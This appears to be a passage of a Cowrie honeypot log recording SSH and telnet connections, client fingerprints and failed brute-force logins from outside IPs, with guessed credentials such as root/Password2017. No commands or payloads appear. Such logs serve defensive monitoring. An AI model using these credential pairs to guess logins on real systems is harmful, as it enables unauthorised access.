{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:16.715914Z","src_ip":"103.172.78.219","session":"d8ead0f229e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:16.971843Z","src_ip":"103.172.78.219","session":"d8ead0f229e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parol1234","message":"login attempt [root/parol1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:17.745543Z","src_ip":"103.172.78.219","session":"d8ead0f229e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:19.005486Z","src_ip":"103.172.78.219","session":"d8ead0f229e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":17167,"dst_ip":"159.203.135.109","dst_port":22,"session":"741a92d7222e","protocol":"ssh","message":"New connection: 178.20.210.208:17167 (159.203.135.109:22) [session: 741a92d7222e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:44.158326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:44.163840Z","src_ip":"178.20.210.208","session":"741a92d7222e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:44.262022Z","src_ip":"178.20.210.208","session":"741a92d7222e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spam","password":"spam","message":"login attempt [spam/spam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:44.664751Z","src_ip":"178.20.210.208","session":"741a92d7222e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:45.770717Z","src_ip":"178.20.210.208","session":"741a92d7222e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.13201713562012,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:47.394646Z","src_ip":"128.199.8.54","session":"a77aaebabeeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51642,"dst_ip":"10.17.0.5","dst_port":22,"session":"be4a03bce281","protocol":"ssh","message":"New connection: 109.237.96.109:51642 (10.17.0.5:22) [session: be4a03bce281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:09.408490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:09.412111Z","src_ip":"109.237.96.109","session":"be4a03bce281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:09.500697Z","src_ip":"109.237.96.109","session":"be4a03bce281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhvfutlljy","message":"login attempt [root/fhvfutlljy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:09.768976Z","src_ip":"109.237.96.109","session":"be4a03bce281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:10.860650Z","src_ip":"109.237.96.109","session":"be4a03bce281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":47350,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc33560a3fac","protocol":"ssh","message":"New connection: 72.17.34.38:47350 (10.17.0.5:22) [session: cc33560a3fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:32.000880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:32.005414Z","src_ip":"72.17.34.38","session":"cc33560a3fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:32.040339Z","src_ip":"72.17.34.38","session":"cc33560a3fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karen","password":"karen123","message":"login attempt [karen/karen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:32.208194Z","src_ip":"72.17.34.38","session":"cc33560a3fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:33.244477Z","src_ip":"72.17.34.38","session":"cc33560a3fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53302,"dst_ip":"159.203.135.109","dst_port":22,"session":"58705c31453b","protocol":"ssh","message":"New connection: 87.251.79.125:53302 (159.203.135.109:22) [session: 58705c31453b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:35.814906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:35.818191Z","src_ip":"87.251.79.125","session":"58705c31453b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:35.887514Z","src_ip":"87.251.79.125","session":"58705c31453b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"06050403","message":"login attempt [root/06050403] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:36.090043Z","src_ip":"87.251.79.125","session":"58705c31453b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:37.160094Z","src_ip":"87.251.79.125","session":"58705c31453b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51314,"dst_ip":"159.203.135.109","dst_port":23,"session":"1df1e91c0134","protocol":"telnet","message":"New connection: 128.199.8.54:51314 (159.203.135.109:23) [session: 1df1e91c0134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:42.884524Z"}
{"eventid":"cowrie.session.closed","duration":0.004695892333984375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:54:42.889070Z","src_ip":"128.199.8.54","session":"1df1e91c0134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53604,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cb4aa172b95","protocol":"telnet","message":"New connection: 128.199.8.54:53604 (159.203.135.109:23) [session: 5cb4aa172b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:55:10.975487Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":47372,"dst_ip":"159.203.135.109","dst_port":23,"session":"daa48ee325d4","protocol":"telnet","message":"New connection: 102.37.220.188:47372 (159.203.135.109:23) [session: daa48ee325d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:55:51.357741Z"}
{"eventid":"cowrie.session.connect","src_ip":"219.79.105.154","src_port":41790,"dst_ip":"159.203.135.109","dst_port":23,"session":"58dcb26405dc","protocol":"telnet","message":"New connection: 219.79.105.154:41790 (159.203.135.109:23) [session: 58dcb26405dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:55:58.612907Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39556,"dst_ip":"10.17.0.5","dst_port":22,"session":"b44bebb4b546","protocol":"ssh","message":"New connection: 27.71.230.31:39556 (10.17.0.5:22) [session: b44bebb4b546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:55:59.239607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:55:59.280474Z","src_ip":"27.71.230.31","session":"b44bebb4b546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:00.806296Z","src_ip":"27.71.230.31","session":"b44bebb4b546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password2017","message":"login attempt [root/Password2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:04.076136Z","src_ip":"27.71.230.31","session":"b44bebb4b546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:05.810723Z","src_ip":"27.71.230.31","session":"b44bebb4b546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57676,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d0af779f44b","protocol":"telnet","message":"New connection: 107.6.151.170:57676 (159.203.135.109:23) [session: 6d0af779f44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:17.731223Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":56854,"dst_ip":"10.17.0.5","dst_port":22,"session":"31d888cfea11","protocol":"ssh","message":"New connection: 72.17.34.38:56854 (10.17.0.5:22) [session: 31d888cfea11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:24.528495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:24.536202Z","src_ip":"72.17.34.38","session":"31d888cfea11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:24.570552Z","src_ip":"72.17.34.38","session":"31d888cfea11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"11223344","message":"login attempt [user2/11223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:24.742733Z","src_ip":"72.17.34.38","session":"31d888cfea11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.30607748031616,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:25.663701Z","src_ip":"102.37.220.188","session":"daa48ee325d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:25.780106Z","src_ip":"72.17.34.38","session":"31d888cfea11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.679534912109375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:29.292310Z","src_ip":"219.79.105.154","session":"58dcb26405dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":59734,"dst_ip":"10.17.0.5","dst_port":22,"session":"052e88b2f8ba","protocol":"ssh","message":"New connection: 103.27.238.120:59734 (10.17.0.5:22) [session: 052e88b2f8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:35.861417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:35.865274Z","src_ip":"103.27.238.120","session":"052e88b2f8ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@